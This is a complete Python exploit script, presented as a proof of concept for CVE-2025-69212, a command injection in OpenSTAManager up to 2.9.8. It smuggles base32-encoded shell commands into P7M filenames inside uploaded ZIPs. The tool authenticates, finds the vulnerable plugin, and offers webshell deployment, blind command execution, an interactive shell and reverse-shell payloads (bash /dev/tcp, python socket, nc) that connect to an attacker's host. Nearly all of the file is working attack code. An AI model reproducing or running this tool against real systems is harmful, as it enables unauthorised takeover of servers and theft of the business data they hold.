#!/usr/bin/env python3 import argparse import base64 import io import os import random import re import sys import time import zipfile import requests import urllib3 if sys.platform == "win32": sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding="utf-8", errors="replace") sys.stderr = io.TextIOWrapper(sys.stderr.buffer, encoding="utf-8", errors="replace") os.system("") urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) BANNER = r""" _______ ________ ___ ___ ___ _____ __ ___ ___ __ ___ / ____\ \ / / ____| |__ \ / _ \__ \| ____| / // _ \__ \/_ |__ \ | | \ \ / /| |__ ______ ) | | | | ) | |__ ______ / /| (_) | ) || | ) | | | \ \/ / | __|______/ /| | | |/ /|___ \______| '_ \__, |/ / | | / / | |____ \ / | |____ / /_| |_| / /_ ___) | | (_) |/ // /_ | |/ /_ \_____| \/ |______| |____|\___/____|____/ \___//_/|____||_|____| OpenSTAManager <= 2.9.8 | OS Command Injection P7M File Processing — decodeP7M() exec() sink """ class Style: R = "\033[91m" G = "\033[92m" Y = "\033[93m" B = "\033[94m" M = "\033[95m" C = "\033[96m" W = "\033[97m" D = "\033[1m" DIM = "\033[2m" X = "\033[0m" def log_info(msg): print(f" {Style.B}[*]{Style.X} {msg}") def log_success(msg): print(f" {Style.G}[+]{Style.X} {msg}") def log_warning(msg): print(f" {Style.Y}[!]{Style.X} {msg}") def log_error(msg): print(f" {Style.R}[-]{Style.X} {msg}") def log_data(label, value): print(f" {Style.C}├─{Style.X} {Style.D}{label}:{Style.X} {value}") def log_data_last(label, value): print(f" {Style.C}└─{Style.X} {Style.D}{label}:{Style.X} {value}") def separator(char="═", length=62, color=Style.M): print(f" {color}{char * length}{Style.X}") def header(title, color=Style.M): separator(color=color) print(f" {color}║{Style.X} {Style.D}{title}{Style.X}") separator(color=color) class OpenSTAManagerRCE: def __init__(self, target, username=None, password=None, cookie=None, module_id=None, plugin_id=None, proxy=None, no_ssl_verify=False, delay=0, webroot="/var/www/html/openstamanager", output_url=None, verbose=False): self.target = target.rstrip("/") self.username = username self.password = password self.cookie = cookie self.module_id = module_id self.plugin_id = plugin_id self.webroot = webroot self.output_url = output_url or f"{self.target}/o.txt" self.verbose = verbose self.delay = delay self.session = requests.Session() self.session.verify = not no_ssl_verify self.session.headers.update({ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", }) if proxy: self.session.proxies = {"http": proxy, "https": proxy} self.upload_action = f"{self.target}/actions.php" self.upload_op = "save" self.upload_file_field = "blob" self.upload_extra = {} self._candidates = [] self.request_count = 0 self.start_time = None def authenticate(self): self.start_time = time.time() if self.cookie: self.session.cookies.set("PHPSESSID", self.cookie) log_info(f"Using session cookie: {Style.D}{self.cookie[:24]}...{Style.X}") try: resp = self.session.get(f"{self.target}/index.php", timeout=15) self.request_count += 1 except requests.exceptions.RequestException as e: log_error(f"Connection failed: {e}") return False if self._is_login_page(resp.text): log_error("Session cookie invalid or expired.") return False log_success("Session cookie valid.") return True if not self.username or not self.password: log_error("Provide credentials (-u/-p) or a session cookie (-c).") return False log_info(f"Authenticating as {Style.D}{self.username}{Style.X}...") try: resp = self.session.get(f"{self.target}/index.php", timeout=15) self.request_count += 1 except requests.exceptions.RequestException as e: log_error(f"Connection failed: {e}") return False token = None for pattern in [ r'name=["\']token["\'][^>]*value=["\']([^"\']+)', r'value=["\']([^"\']+)["\'][^>]*name=["\']token["\']', ]: m = re.search(pattern, resp.text, re.DOTALL) if m: token = m.group(1) break login_data = {"op": "login", "username": self.username, "password": self.password} if token: login_data["token"] = token try: resp = self.session.post( f"{self.target}/index.php", data=login_data, allow_redirects=True, timeout=15 ) self.request_count += 1 except requests.exceptions.RequestException as e: log_error(f"Login failed: {e}") return False if self._is_login_page(resp.text): log_error("Authentication failed.") return False log_success("Authenticated successfully.") return True def _is_login_page(self, text): lower = text.lower() has_login = any(x in lower for x in ['name="password"', 'op=login', 'id="password"']) has_logout = any(x in lower for x in ["logout", "op=logout"]) return has_login and not has_logout def _wait(self): if self.delay > 0: time.sleep(self.delay) def _discover_upload_form(self, html): action = self.upload_action op = "save" file_field = "blob" extra = {} for form_attrs, form_body in re.findall(r']*)>(.*?)', html, re.DOTALL | re.IGNORECASE): if not re.search(r'type=["\']file["\']', form_body, re.IGNORECASE): continue a_m = re.search(r'action=["\']([^"\']+)["\']', form_attrs, re.IGNORECASE) if a_m: a = a_m.group(1) action = a if a.startswith('http') else f"{self.target}/{a.lstrip('/')}" for inp in re.finditer(r']+)>', form_body, re.IGNORECASE): t = re.search(r'type=["\']([^"\']+)["\']', inp.group(1), re.IGNORECASE) n = re.search(r'name=["\']([^"\']+)["\']', inp.group(1), re.IGNORECASE) v = re.search(r'value=["\']([^"\']*)["\']', inp.group(1), re.IGNORECASE) if not t or not n: continue inp_type = t.group(1).lower() inp_name = n.group(1) inp_value = v.group(1) if v else "" if inp_type == 'file': file_field = inp_name elif inp_type == 'hidden': if inp_name.lower() == 'op': op = inp_value else: extra[inp_name] = inp_value return action, op, file_field, extra return action, op, file_field, extra def detect_plugin(self): if self.module_id and self.plugin_id: log_info(f"Using module={self.module_id}, plugin={self.plugin_id}") return True print() header("PLUGIN DETECTION", Style.B) log_info("Scanning for P7M vulnerable plugin...") try: resp = self.session.get(f"{self.target}/index.php", timeout=15) self.request_count += 1 except requests.exceptions.RequestException: log_error("Failed to fetch main page.") separator(color=Style.B) return False module_ids = list(dict.fromkeys(re.findall(r'id_module=(\d+)', resp.text))) if not module_ids: log_error("No modules found.") separator(color=Style.B) return False log_info(f"Found {len(module_ids)} module(s).") fe_keywords = ['importfe', 'p7m', 'fattura', 'fe_zip', 'electronic invoice', 'importa fe'] for mid in module_ids: self._wait() try: page = self.session.get(f"{self.target}/controller.php?id_module={mid}", timeout=10) self.request_count += 1 page_lower = page.text.lower() if not any(kw in page_lower for kw in fe_keywords): continue plugin_ids = re.findall(r'id_plugin=(\d+)', page.text) if plugin_ids: action, op, file_field, extra = self._discover_upload_form(page.text) self._candidates.append((int(mid), int(plugin_ids[0]), action, op, file_field, extra)) except requests.exceptions.RequestException: continue if not self._candidates: log_error("Auto-detection failed.") separator(color=Style.B) return False self.module_id, self.plugin_id, self.upload_action, self.upload_op, self.upload_file_field, self.upload_extra = self._candidates[0] log_success(f"Found {len(self._candidates)} candidate(s).") log_data("Module ID", self.module_id) log_data("Plugin ID", self.plugin_id) log_data_last("Upload endpoint", f"{self.upload_op} → {self.upload_action}") separator(color=Style.B) print() return True def _encode_payload(self, cmd): b32 = base64.b32encode(cmd.encode()).decode() return f"z$(echo${{IFS}}{b32}|base32${{IFS}}-d|bash).p7m" def _create_zip(self, filename): buf = io.BytesIO() with zipfile.ZipFile(buf, 'w', zipfile.ZIP_STORED) as zf: zf.writestr(filename, b"") buf.seek(0) return buf def _upload_payload(self, filename): self._wait() candidates = self._candidates if self._candidates else \ [(self.module_id, self.plugin_id, self.upload_action, self.upload_op, self.upload_file_field, self.upload_extra)] for mid, pid, action, op, file_field, extra in candidates: params = {"op": op, "id_module": mid, "id_plugin": pid} params.update(extra) try: resp = self.session.post( action, params=params, files={file_field: (filename, self._create_zip(filename), "application/octet-stream")}, timeout=8, allow_redirects=True ) self.request_count += 1 if self.verbose: log_info(f"Upload [{mid}/{pid}] → HTTP {resp.status_code} ({len(resp.content)} bytes)") if resp.status_code < 500: if mid != self.module_id: log_info(f"Switched to working module: {mid}/{pid}") self.module_id = mid self.plugin_id = pid self.upload_action = action self.upload_op = op self.upload_file_field = file_field self.upload_extra = extra self._candidates = [(mid, pid, action, op, file_field, extra)] return resp if self.verbose: err_m = re.search(r']*card-body[^>]*>(.*?)', resp.text, re.DOTALL | re.IGNORECASE) if err_m: log_error(f"Server error: {err_m.group(1).strip()[:200]!r}") except requests.exceptions.RequestException as e: if self.verbose: log_error(f"Upload exception [{mid}]: {e}") return None def _fetch_output(self, timeout=15, marker="RCEOUT"): if self.verbose: log_info(f"Polling: {self.output_url}") for i in range(timeout * 2): try: resp = self.session.get(self.output_url, timeout=5) self.request_count += 1 if marker in resp.text: return resp.text.split(marker)[0] except requests.exceptions.RequestException: pass time.sleep(0.5) try: diag = self.session.get(self.output_url, timeout=5) self.request_count += 1 log_warning(f"Output URL: {self.output_url} → HTTP {diag.status_code}") if diag.status_code == 200 and diag.text.strip(): log_warning(f"Content (no marker): {diag.text[:120]!r}") except requests.exceptions.RequestException: log_warning(f"Output URL unreachable: {self.output_url}") return None def check_vulnerability(self): print() header("VULNERABILITY CHECK", Style.Y) marker = f"MRK{random.randint(100000000, 999999999)}" cmd = f"{{ echo VULN_OK ; echo {marker} ; }} > {self.webroot}/o.txt 2>&1" filename = self._encode_payload(cmd) log_info("Uploading check payload...") resp = self._upload_payload(filename) if resp is None: log_error("Upload failed.") separator(color=Style.Y) return False log_info("Waiting for execution...") output = self._fetch_output(timeout=10, marker=marker) if output and "VULN_OK" in output: log_success(f"{Style.D}Target is VULNERABLE!{Style.X}") separator(color=Style.G) print() return True log_warning("No output (may still be vulnerable).") separator(color=Style.Y) print() return False def deploy_webshell(self, shell_name="shell.php"): print() header("WEBSHELL DEPLOYMENT", Style.R) shell_code = '' marker = "SHELL_OK" cmd = f"{{ echo '{shell_code}' > {self.webroot}/{shell_name} && echo {marker} ; }} > {self.webroot}/o.txt 2>&1" filename = self._encode_payload(cmd) log_info(f"Deploying: {shell_name}") resp = self._upload_payload(filename) if resp is None: log_error("Upload failed.") separator(color=Style.R) return False log_info("Verifying...") output = self._fetch_output(timeout=10, marker=marker) if output is not None: log_success(f"{Style.D}Webshell deployed!{Style.X}") log_data("URL", f"{self.target}/{shell_name}?c=id") log_data_last("Parameter", "c") separator(color=Style.G) print() return True log_warning("Deployment uncertain.") separator(color=Style.Y) print() return False def reverse_shell(self, lhost, lport, method="bash"): print() header("REVERSE SHELL", Style.R) payloads = { "bash": f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1", "python": ( f"python3 -c 'import socket,subprocess,os;" f"s=socket.socket();" f"s.connect((\"{lhost}\",{lport}));" f"os.dup2(s.fileno(),0);" f"os.dup2(s.fileno(),1);" f"os.dup2(s.fileno(),2);" f"subprocess.call([\"/bin/sh\",\"-i\"])'" ), "nc": f"rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f", "nc-e": f"nc -e /bin/bash {lhost} {lport}", } if method not in payloads: log_error(f"Unknown method: {method}") log_info(f"Available: bash, python, nc, nc-e") separator(color=Style.R) return False cmd = f"({payloads[method]}) &" filename = self._encode_payload(cmd) log_data("Method", method) log_data_last("Target", f"{lhost}:{lport}") print() log_warning(f"Start listener: {Style.D}nc -lvnp {lport}{Style.X}") try: input(f"\n {Style.Y}[?]{Style.X} Press Enter when ready...") except (EOFError, KeyboardInterrupt): print() separator(color=Style.R) return False log_info("Delivering payload...") resp = self._upload_payload(filename) if resp: log_success("Payload delivered!") else: log_error("Upload failed.") separator(color=Style.R) print() return resp is not None def blind_exec(self, cmd): print() header("COMMAND EXECUTION", Style.M) marker = f"MRK{random.randint(100000000, 999999999)}" exec_cmd = f"{{ {cmd} ; echo {marker} ; }} > {self.webroot}/o.txt 2>&1" filename = self._encode_payload(exec_cmd) log_info(f"Command: {Style.D}{cmd}{Style.X}") log_info("Executing...") resp = self._upload_payload(filename) if resp is None: log_error("Upload failed.") separator(color=Style.M) return False output = self._fetch_output(timeout=15, marker=marker) if output: print() print(output) else: log_warning("No output (check webshell for verification).") separator(color=Style.M) print() return output is not None def interactive_shell(self): print() header("INTERACTIVE SHELL", Style.G) cwd = "." try: marker = f"MRK{random.randint(100000000, 999999999)}" cmd = f"{{ pwd ; echo {marker} ; }} > {self.webroot}/o.txt 2>&1" filename = self._encode_payload(cmd) self._upload_payload(filename) out = self._fetch_output(timeout=10, marker=marker) if out: cwd = out.strip().split('\n')[-1] except Exception: pass print(f"\n {Style.Y}Type 'exit' to quit.{Style.X}\n") while True: try: user_input = input(f" {Style.C}www-data@target:{cwd}${Style.X} ").strip() except (EOFError, KeyboardInterrupt): print() break if not user_input: continue if user_input.lower() in ("exit", "quit"): break if user_input.startswith("cd "): target_dir = user_input[3:].strip() or "." marker = f"MRK{random.randint(100000000, 999999999)}" exec_cmd = f"{{ cd {target_dir} && pwd ; echo {marker} ; }} > {self.webroot}/o.txt 2>&1" filename = self._encode_payload(exec_cmd) self._upload_payload(filename) out = self._fetch_output(timeout=10, marker=marker) if out and "No such" not in out and not out.startswith("[-]"): cwd = out.strip().split('\n')[-1] continue marker = f"MRK{random.randint(100000000, 999999999)}" exec_cmd = f"{{ cd {cwd} && {user_input} ; echo {marker} ; }} > {self.webroot}/o.txt 2>&1" filename = self._encode_payload(exec_cmd) self._upload_payload(filename) out = self._fetch_output(timeout=15, marker=marker) if out: print(out) separator(color=Style.G) print() def print_stats(self): if self.start_time: elapsed = time.time() - self.start_time print(f"\n {Style.DIM}─── Stats: {self.request_count} requests in {elapsed:.1f}s ───{Style.X}\n") def build_parser(): parser = argparse.ArgumentParser( prog="CVE-2025-69212", description="OpenSTAManager <= 2.9.8 RCE via P7M Injection", formatter_class=argparse.RawDescriptionHelpFormatter, ) target_grp = parser.add_argument_group("Target") target_grp.add_argument("-t", "--target", required=True, help="Target URL") auth_grp = parser.add_argument_group("Authentication") auth_grp.add_argument("-u", "--user", help="Username") auth_grp.add_argument("-p", "--password", help="Password") auth_grp.add_argument("-c", "--cookie", help="PHPSESSID cookie") action_grp = parser.add_argument_group("Actions") action_grp.add_argument("--check", action="store_true", help="Check vulnerability") action_grp.add_argument("--webshell", action="store_true", help="Deploy webshell") action_grp.add_argument("--rce", action="store_true", help="Interactive shell") action_grp.add_argument("--reverse-shell", nargs=2, metavar=("LHOST", "LPORT"), help="Reverse shell (bash, python, nc)") action_grp.add_argument("--cmd", metavar="COMMAND", help="Execute command") shell_grp = parser.add_argument_group("Shell Options") shell_grp.add_argument("--shell-name", default="shell.php", help="Webshell filename") shell_grp.add_argument("--method", default="bash", choices=["bash", "python", "nc", "nc-e"], help="Reverse shell method (default: bash)") shell_grp.add_argument("--webroot", default="/var/www/html/openstamanager", help="Server webroot for staging") shell_grp.add_argument("--output-url", metavar="URL", help="URL to fetch output from (default: TARGET/o.txt)") module_grp = parser.add_argument_group("Module Settings") module_grp.add_argument("--module-id", type=int, help="Module ID") module_grp.add_argument("--plugin-id", type=int, help="Plugin ID") net_grp = parser.add_argument_group("Network") net_grp.add_argument("--proxy", help="HTTP proxy") net_grp.add_argument("-k", "--no-ssl-verify", action="store_true", help="Skip SSL verify") net_grp.add_argument("--delay", type=float, default=0, help="Request delay") net_grp.add_argument("-v", "--verbose", action="store_true", help="Verbose output") return parser def main(): print(f"{Style.R}{BANNER}{Style.X}") print(f" {Style.DIM}CVE-2025-69212 Proof of Concept{Style.X}\n") parser = build_parser() args = parser.parse_args() if not args.cookie and (not args.user or not args.password): parser.error("Provide credentials (-u/-p) or cookie (-c)") has_action = any([args.check, args.webshell, args.rce, args.reverse_shell, args.cmd]) if not has_action: parser.error("Specify action: --check, --webshell, --rce, --reverse-shell, --cmd") separator("━", color=Style.DIM) exploit = OpenSTAManagerRCE( target=args.target, username=args.user, password=args.password, cookie=args.cookie, module_id=args.module_id, plugin_id=args.plugin_id, proxy=args.proxy, no_ssl_verify=args.no_ssl_verify, delay=args.delay, webroot=args.webroot, output_url=args.output_url, verbose=args.verbose, ) if not exploit.authenticate(): sys.exit(1) separator("━", color=Style.DIM) if not args.module_id or not args.plugin_id: if not exploit.detect_plugin(): if not args.module_id: log_error("Cannot proceed without module/plugin ID.") sys.exit(1) try: if args.check: exploit.check_vulnerability() if args.webshell: exploit.deploy_webshell(shell_name=args.shell_name) if args.reverse_shell: lhost, lport = args.reverse_shell exploit.reverse_shell(lhost, int(lport), method=args.method) if args.cmd: exploit.blind_exec(args.cmd) if args.rce: exploit.interactive_shell() except KeyboardInterrupt: print(f"\n\n {Style.Y}[!]{Style.X} Interrupted.") exploit.print_stats() if __name__ == "__main__": main()